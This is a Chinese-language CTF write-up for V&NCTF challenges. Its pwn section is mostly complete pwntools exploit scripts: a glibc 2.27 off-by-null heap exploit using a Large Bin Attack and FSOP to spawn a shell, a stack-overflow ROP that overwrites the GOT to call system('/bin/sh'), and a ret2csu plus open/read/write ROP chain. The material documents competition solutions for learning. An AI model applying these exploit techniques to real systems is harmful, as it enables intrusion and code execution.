V&NCTF-WriteUp-Niyah
还是 tcl
# V&NCTF-WriteUp-Niyah
Niyah
# Pwn
HindOnHeap 没 IO 函数玩不明白,冰墩墩估计最后要弹个 shell,webpwn 没试过网络编程,摆了
# FShuiMaster
2.27 下的 offbynull,只能申请 Large Bin 以上的堆块
思路很清晰,直接构造堆块重叠,之后 Large Bin Attack 打 _IO_list_all 最后退出程序时执行 Fsop
# -*- encoding: utf-8 -*-
import sys
import os
import requests
from pwn import *
binary = './FShuiMaster'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm','-g','1234', binary])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = 'node4.buuoj.cn'
port = '28791'
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12 : ras(int( p.recv(x) , 16))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def one_gadget(filename):
log.success('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla(':',num)
def add(size , text = 'a'):
cmd(1)
sla('words?' , size)
se( text)
def edit(idx , text):
cmd(2)
sla('change' , idx)
sa(str(idx) + '\n' , text)
def show(idx ):
cmd(4)
sla('scan' , idx)
def delete(idx ):
cmd(3)
sla('off' , idx)
# one_gad = one_gadget(libc.path)
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, '\x00')
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, '\x00')
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, '\x00')
return file_struct
def attack():
sa('the Book\n' , '/bin/sh\x00\n')
add(0x608 ) #0
add(0x508 ) #1
add(0x4f8 ) #2
add(0x4f8 ) #3
delete(0)
edit(1 , 'a'*0x500 + p64(0x610 + 0x510))
delete(2)
add(0x608) #4
show(1)
__malloc_hook = l64() - 0x70
libc.address = __malloc_hook - libc.sym['__malloc_hook']
system_addr = libc.sym['system']
__free_hook = libc.sym['__free_hook']
binsh_addr = libc.search('/bin/sh').next()
lg('__free_hook',__free_hook)
IO_list_all = libc.symbols['_IO_list_all']
IO_str_jumps = libc.address + 0x3e8360
fake_file = pack_file(_IO_read_base = IO_list_all-0x10,
_IO_write_base=0,
_IO_write_ptr=1,
_IO_buf_base=binsh_addr,
_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system_addr)
add(0x508) #5
add(0x4f8) #6
add(0x518) #7
add(0x518) #8
delete(1)
delete(7)
add(0x508 , 'a'*0x8) #9
show(5)
ru('a'*0x8)
heap_addr = uu64(6)
add(0x518) #10
delete(9)
add(0x518)
delete(3)
edit(5 , flat(__malloc_hook + 0x10 + 1168,__malloc_hook + 0x10 + 1168,heap_addr+0xf10,IO_list_all-0x20) + '\n')
add(0x528)
add(0x4f8 , fake_file[0x10:])
edit(5 , fake_file[0x10:])
# dbg()
# p.success(getShell())
p.interactive()
attack()
'''
@File : FShuiMaster.py
@Time : 2022/02/12 14:54:04
@Author : Niyah
'''
# clear_got
很明显的栈溢出,程序中还给了几个 gadget 难点在于如何去利用本题最后把 got 表给扬了。
我的思路是,在程序进行溢出劫持控制流时刚好寄存器 rax 的值为 0,那么就趁这次机会写一下 got 表方便下次进行 read,我们把一些不中用的函数 got 表填 ret ,这样下次重新执行 main 时才不会出错
然而之后重新进入 main 的时候因为 got 表的缺失所以不能泄露了,因此我选择在第一次进行 rop 的时候就利用下面的 gadget 片段来进行系统调用泄露出 libc 可以直接去泄露 stdout
.text:0000000000400773 push rbp
.text:0000000000400774 mov rbp, rsp
.text:0000000000400777 mov rax, 1
.text:000000000040077E syscall ; LINUX - sys_write
.text:0000000000400780 retn
重新进入 main 函数,直接把无关函数调用 return,最后 read 将 rop 链弄到当前栈上(当前栈关系到第一次 Rop 时输入的 rbp,可以是 bss 段)输入 system ("/bin/sh") 的 rop 链 getshell
# -*- encoding: utf-8 -*-
import sys
import os
import requests
from pwn import *
binary = './clear_got'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.23-buu.so')
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
# p = process(['qemu-arm', binary])
# p = process(['qemu-arm','-g','1234', binary])
# p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
host = 'node4.buuoj.cn'
port = '28198'
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12 : ras(int( p.recv(x) , 16))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def one_gadget(filename):
log.success('Leak One_Gadgets...')
one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
return list(map(int,one_ggs))
def cmd(num):
sla(':',num)
# one_gad = one_gadget(libc.path)
def attack():
stdout = 0x601060
pop_rdi_ret = 0x00000000004007f3
pop_rsi_r15_ret = 0x00000000004007f1
rax_syscall_ret = 0x000000000400777
syscall_ret = 0x000000000040077E
syscall_ret1 = 0x00000000040076E
main_addr = 0x0000000004006F3
leave_ret = 0x0000000000400761
ret = 0x000000000400762
fake_puts = 0x0000000000400773
fake_funk = 0x0000000000400782
fake_read = 0x000000000040076E
got = 0x0000000000601018
# dbg('*0x000000000400762')
got_table = flat(
ret , ret,
ret , ret,
fake_read , 0,
main_addr
)
payload = flat(
pop_rdi_ret , 0,
pop_rsi_r15_ret , got , 0,
syscall_ret ,
pop_rdi_ret , 1,
pop_rsi_r15_ret , stdout , 0,
rax_syscall_ret,
main_addr
)
sa('competition.///' , 'a'*0x60 + p64(0x601080) + payload )
# # dbg()
raw_input()
se(got_table)
libc.address = l64() - libc.sym['_IO_2_1_stdout_']
system_addr = libc.sym['system']
binsh_addr = libc.search('/bin/sh\x00').next()
raw_input()
payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
se(payload)
# p.success(getShell())
p.interactive()
attack()
'''
@File : clear_got.py
@Time : 2022/02/12 15:54:52
@Author : Niyah
'''
# easyROPtocol
同样是比较直接的栈溢出,程序最多可以保留四个 tcp ,每个 tcp 数据段的长度大于 0xf00 而 submit 时直接将所有 tcp 数据复制到了栈上,给栈开辟的空间却只有差不多 0x3000 大小,这样就造成了栈溢出
比较消耗时间地方就是输入的 tcp 需要 check 一下检查一下 head ,这个比较简单,第二个 check 就是差不多一个校验位,对 "fakeipheadfa" 和 tcp 包括头在内的所有数据每一字进行循环异或得到一个校验位
进行两次 ROP 的操作,第一次使用 ret2csu 泄露出 libc 并返回到 mian 函数中,第二次 ROP 用 orw 泄露出 flag ,这里有一个小细节,由于第一次 ROP 的时候 payload 较长,因此 free 掉之后会有很多残留,因此最好把不需要的地方用’\x00’来填充,这样校验的时候就不会出错,由于第一次的 ROP 没有地址的变化,我们可以直接动调最后 cmp 的时候查看,但是第二次 ROP 就需要我们来自己算了
# -*- encoding: utf-8 -*-
import sys
import os
import requests
from pwn import *
binary = './easyROPtocol'
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.31.so')
DEBUG = 1
if DEBUG:
libc = elf.libc
p = process(binary)
# p = process(['qemu-arm', binary])
else:
host = 'node4.buuoj.cn'
port = 28856
p = remote(host,port)
l64 = lambda : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a : ras(u32(p.recv(a).ljust(4,'\x00')))
rint= lambda x = 12 : ras(int( p.recv(x) , 16))
sla = lambda a,b : p.sendlineafter(str(a),str(b))
sa = lambda a,b : p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se = lambda payload : p.send(payload)
rl = lambda : p.recv()
sl = lambda payload : p.sendline(payload)
ru = lambda a : p.recvuntil(str(a))
def ras( data ):
lg('leak' , data)
return data
def dbg( b = null):
if (b == null):
gdb.attach(p)
pause()
else:
gdb.attach(p,'b %s'%b)
def cmd(num):
sla('Quit.',num)
def add(payload):
cmd(1)
sleep(0.5)
# raw_input()
se(payload)
# raw_input()
sleep(0.5)
def delete(idx):
cmd(2)
sla('Which?' , idx)
def tcphead( offset , check ):
return p16(0x766e) + p16(0x28b7) + p32(offset) + p32(1) + p16(6) + p16(1) + p16(check) + p16(0) + p16(0xffff)+ p16(0xffff)
def csu( call_addr ,rdi , rsi , rdx):
pop_rbx_r15_ret = 0x401BAA
mov_call = 0x401B90
arg = flat(
0 , 1 ,
rdi , rsi , rdx,
call_addr,
)
return flat(pop_rbx_r15_ret , arg , mov_call)
# one_gad = one_gadget(libc.path)
def attack():
main = 0x000000000401A5E
bss_addr = 0x404270
free_got = elf.got['free']
write_got = elf.got['write']
read_got = elf.got['read']
ret = 0x401BB4
payload = tcphead( 1, 0x4ad5) + 'a'*0xf80
add(payload)
payload = tcphead( 0x1001, 0x5ad5) + 'a'*0xf80
add(payload)
payload = tcphead( 0x2001, 0x6ad5) + 'a'*0xf80
add(payload)
payload = tcphead( 0x3001, 0x62fa) + 'a'*0x1a8
payload += csu(write_got , 1,write_got,0x8)
payload += '\x00'*0x38
payload += csu(read_got , 0,bss_addr,0x8)
payload += '\x00'*0x38
payload += p64(0x000000000401A5E)
cmd(1)
se(payload)
# dbg()
cmd(3)
libc.address = l64() - libc.sym['write']
se('flag\x00')
read_addr = libc.sym['read']
open_addr = libc.sym['open']
puts_addr = libc.sym['puts']
pop_rax_ret = libc.search(asm('pop rax; ret')).next()
pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
pop_rdx_ret = libc.search(asm('pop rdx; ret')).next()
pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
ret = pop_rdi_ret + 1
flag_addr = bss_addr
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
)
# len chain 0x80
check = 0x7ad5
for i in range(0,len(chain) , 2):
check ^= u16(chain[i : i+2])
print(hex(u16(chain[i : i+2])) , hex(check))
delete(3)
payload = tcphead( 0x3001, check) + 'a'*0x1a8
payload += chain
cmd(1)
sleep(0.5)
se('\x00'*0x1000)
sleep(0.5)
cmd(1)
sleep(0.5)
se(payload)
sleep(0.5)
cmd(3)
sleep(0.5)
# dbg()
# # p.success(getShell())
p.interactive()
attack()
'''
@File : easyROPtocol.py
@Time : 2022/02/12 11:07:18
@Author : Niyah
'''
# Misc
# 问卷
钝角
# Web
# GameV4.0
游戏题 F12 开始翻,直接 flag 找到 base64 解出来
本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。